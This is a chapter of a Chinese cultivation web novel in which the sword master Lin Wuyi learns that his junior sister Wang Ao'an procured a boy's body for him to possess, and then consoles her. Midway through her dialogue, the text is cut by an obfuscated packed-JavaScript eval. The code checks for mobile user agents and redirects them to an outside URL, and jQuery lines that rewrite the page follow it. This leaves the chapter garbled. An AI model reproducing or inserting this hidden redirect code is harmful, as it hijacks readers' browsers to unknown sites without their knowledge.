王行骤然一惊。
他记得王傲安的这句话,在他自己没察觉前就牢牢记住了。
记住干什么。
害怕自己后悔而无办法吗。
一切是他自愿,王傲安提出交易,他答应了,他吃上热饭,爹娘吃上热馒头。
爹娘蓬头垢面,看着他走,说他是过好日子去了。
当富人家的奴,也比穷人家过得好。
他对爹说,照顾好娘,长老说了,后续会有更多给爹娘。
他对娘说,拿好钱,谁都不给,偷偷地和爹换个地方过好日子。
他对爹说,有钱也不是你一个人的,你若是有了钱就抛下娘,我就让长老收走。
他对娘说,你得照顾好自己,我走了,娘,你得顾自个儿。
爹讷讷不知道说什么,娘眼泪流了又流。
三娃走的那刻,娘伸出手,拉住三娃,想说别走了,留下吧。
爹拉住娘:“你干啥,别挡三娃的富贵,以后吃香喝辣,跟着我们,能吃啥,吃土啊。”
王长老笑着,那笑容带点悲怆:“这是卖身钱。”不是吃土,是魂埋土里,身归他人。
爹娘好像意识到了什么,娘越发不肯松手,爹狠狠心,将娘的手拍掉。
娃能再生,富贵不能。
他跟娃他娘再生几个好了。
娃留下,三个都死。娃走了,成全爹娘。
三娃跪地,磕了三个响头:“我走了,娘你别担心,我去过好日子了。”
娘的身体亏空,在路上,三娃求长老赐丹药,长老让人去办了,福禄寿,都给。
最终,王行什么都没说。
他吃饭的速度更快了,活像饿死鬼投胎。
林梧逸道:“我这里别的不多,粮食不少。慢慢吃,不够我再做些。”
王行摇头,他不敢看剑尊。
林梧逸道:“今天我把地里的谷子收了,只是我一人用不完。明天你走时背个背篓,带上一些回家去。”
王行愣愣的,他突然抬头问:“剑尊,除了我,您还会给很多很多人谷子的,是不是。”
林梧逸笑:“这天下的田,我一人种不完。”
“可您田地的收成,您愿意分给别人。这就够了。”王行找到了坚定的理由,剑尊活下去,比他活下去好。
林梧逸道:“群策群力。我分不分不重要,大家有田可耕,有粮可收,才不会饿。”
王行隐隐约约感受到了什么。
桌上只有凉茶,林梧逸站起身,去给王行倒了杯煮过放凉的清泉水。
晚上喝茶不好,喝茶睡不着。
吃完饭,洗漱罢,林梧逸让王行睡到了客床。
木屋简陋,床倒三张。师弟师妹来聚,也有睡处。
拆师父的信前,林梧逸倒清泉水洗手,用干净帕子擦干。
从抽屉里取出信来,抚摸着信封的触感,这制成信封的纸是他从尘世带回来的。
是鼎鼎有名的地方做出来的鼎鼎有名的纸。
他买了不少给师父一大半。
林梧逸轻轻抚过,拆开信封,师父特意留信应是大事。
谁知信里师父给他讲了个故事。
说是有一兄长将死,其妹为给兄长续命,竟寻来一鲜活年轻肉.体,泯灭主人的魂魄,让兄长的魂魄取代了主人,在这具新身体里存活下去。
可这事伤天害理,后来这妹妹疯了,哥哥为让妹妹恢复神智,欲入九死一生的险境寻取神仙的遗留。
在哥哥将要出发的清晨,妹妹清醒了。
站在梅花开遍的山巅,绞杀了自己的魂灵。一报还一报,了却因果。
林梧逸紧皱着眉头看到这里,他闭上眼,几乎是瞬间就明白了这叫王行的少年,是师妹为他找来的新身体。
王傲安。
王傲安。
这个傻子。
林梧逸睁开眼来,傻子,说要当他闺女,做他娘也成,最后成了师妹,还是傻子。
大恩如大仇,他救了师妹,却无异于师妹的仇人,害她落得如此境地。
林梧逸继续往下看。
——徒儿,你的路不在这里,走吧。
林梧逸湿了眼眶。
师父特意留信,道破命运,一定付出了代价。
或许轮回的下一世,师父真的要做牛做马了。
林梧逸收好信,挪步到床边躺下。他几乎看见了傲安生出心魔,日渐疯癫,却于那日醒来,身后开遍了梅花,红得大片大片,霎是好看。
傲安师妹嘴馋偷懒好玩,该一直吃好吃的懒懒闲闲有好玩的玩,而不是背负他人的命运,断送自己的一生。
昔日带她走不过举手之劳,师妹,傻。
林梧逸必须找王傲安吵一架,把她的傻劲吵出来,吵到虚空里去,一把火烧光。
翌日清晨,二十年不曾踏出隐居地的剑尊踏了出来。
他一步一步地走,身体不比以往,走久了,呼吸沉重急促。
他缓了几息才继续往前。
日头正好,光明照耀天地。他到了梅峰,师妹为了梅花开放,让梅峰终年维持适宜的温度。
当初,师妹只是随口说想种花,想看花开遍,他随意带回来梅的种子,这花一种,就开了许多年。
师妹偷懒贪嘴又倔强,犟得稀奇。有些话从不开口,装得并不在意,她说她自己就是贪玩爱闹,才不在意。可师妹最是重情,他说的话师妹老是记到心里,他带回来的东西,师妹从不肯随意抛掉。
以前一个烂了的木玩具,他说帮她丢了,师妹不准。
师妹倔强地不准,林梧逸迟缓地想起来,那木玩具是很多很多年以前他带回来的。
一百年过去了,都成破烂了,师妹留着。
师妹说:“讨嫌,谁要你帮我收拾,我自己不会收拾啊。”
林梧逸说:“那你自己丢咯,师兄可懒得代劳。”
林梧逸不戳破师妹,下次送来新玩具,烂的还在那里。
林梧逸心脏隐隐绞疼,他步步爬上梅峰,梅花簌簌落,他现在也破破烂烂的了,师妹仍不肯丢。
小弟子见剑尊竟来了,心下惊骇之余,明白必然是事情暴露。
他浑身轻飘飘的,心却沉了又沉。
是他放人下山,是他促成一切,到此刻,小弟子垂下头来,惶惶然。
林梧逸在山洞等了几炷香,师妹来了。
她穿着一身素衣,快步跑上前,讨笑着:“师兄,你怎么来了?来看我啊。”
林梧逸说,送一封信。
王傲安不解:“信?”
林梧逸抬眸看她,王傲安在林梧逸的目光里,渐渐失去了讨笑撒娇的喜,神情苍白而固执起来。
林梧逸将师父的信给了她。
王傲安看完,“噢”了一声。
林梧逸道:“我都知道了。”
王傲安点头:“你都知道了。”
林梧逸道:“此事罢了。”
王傲安摇头:“我不肯。”
林梧逸道:“王傲安,你是要我做你的仇人。”
王傲安落泪:“胡说。”
林梧逸道:“害你做下如此事来,害得你魂飞魄散,傲安,我不是你的仇人,还能是什么。”
王傲安站不稳,踉跄着退了一步:“我心甘情愿。”
她抬眸,一双眼盛满了泪,又燃起不甘的火:“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513829|186204||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心甘情愿!”
林梧逸直视她,冷冰冰的:“可我不愿。”
王傲安想把信撕了,又垂手把信还了。
她背过身去,抑制哽咽:“师兄,你做了那么多好事,我就想做一件坏事,成全你的好。”
王傲安在师兄面前控制不住自己的情绪,泪水颗颗落:“我、我就是,我知道伤天害理,我愿意一命换一命。那孩子有所求,我满足他所求,最后把命也赔给他。师兄,我只是,只是希望你活着。”
王傲安来不及擦眼泪,也擦不干,总是流,像委屈,像不服:“这世上所有人都可以死,唯独你,你应当活着。”
林梧逸听了,仿佛不受触动,他道:“傲安,可你坏了我的道。师父曾告诉我,我需得轮回证道,最终飞升。你将我强留在他人的身体里,看似救我,实则害我。夺舍他人,苟活几百年,最终我也逃不过挫骨扬灰、灰飞烟灭的结局。”
师父没告诉他,但林梧逸得这么说。
这孩子,犟,犟得要命。
“我这一世功德圆满,善终之后,下一世便是机缘。”林梧逸叹气,“何苦断我长生路。”
林梧逸的话冷漠得仿佛一切跟他不沾边,王傲安的一厢情愿是滑稽是麻烦。
王傲安惶惶无措,转过身来,看着师兄冷冰冰的神情反倒噗嗤一笑。
“装,你装。”王傲安双眼含泪而笑,“你装得不像。”
林梧逸仍然冰冷得百年不化。
师兄这张脸没有神情时,冷得人直哆嗦,是怎么都暖不化的冰菩萨。
离王傲安太远了,远隔云端。
多美丽的一张脸,冻到了冰层里,王傲安都快看不清了。
原是泪水泉涌,模糊了眼。
她想说自己错了,但不肯这么说。
她笑:“谁稀罕啊,你以为我真稀罕你的命。我烦死了。都怪你当初救我,我不报恩,我的修为寸步难进。”
“烦死了,谁当你妹妹一定烦死了。”王傲安哭得上气不接下气,“我、我——”
“师兄,不准这么冷脸对我。”王傲安哭得蜷缩起来,抱住自己的脸,不肯让人瞧见。
太丢脸了。为什么要哭。
不准哭。
王傲安忍不住,她摆烂了,嚎啕大哭。真的好累。
二十年如一日的看医书炼丹药找法门,累。
她就爱吃点东西,就爱偷懒躲闲。师兄,不准嫌弃她,不准说她蠢,她不学无术,根本不知道还有下辈子机缘。
她不是故意的。
她只是没办法了。
夺舍伤天害理,她也厌恶自己,她没办法了。
林梧逸跪坐下来,静静地陪着傲安。
是他疏忽了,是他沉浸在归隐和逃避里,长兄为父,是他没照顾好她。
别哭。
林梧逸慢慢拥抱王傲安。
师妹,别害怕。
林梧逸道:“冥冥之中,我感知到,我的路还很长很长。”
“我给你讲故事,傲安,睡前故事。很久很久以前,有一个少年病逝,当他醒来,拥有新的一生……”林梧逸将前几世的故事慢慢说给傲安听。
“再睁开眼,那人在街道上遇到一个姑娘,说要当他闺女,或是当他娘……”
王傲安渐渐沉静下来:“真的?”
林梧逸道:“不骗师妹。”
王傲安唇角有了点点笑意,泪眼惺忪:“那我睡了。”
林梧逸轻轻拍着王傲安的背:“睡吧。”
王傲安不安地在林梧逸怀里睡着,林梧逸轻轻哼起哄孩童的歌谣。
二十年了,王傲安该好好睡一觉,睡得香香的,醒来烦恼都忘掉。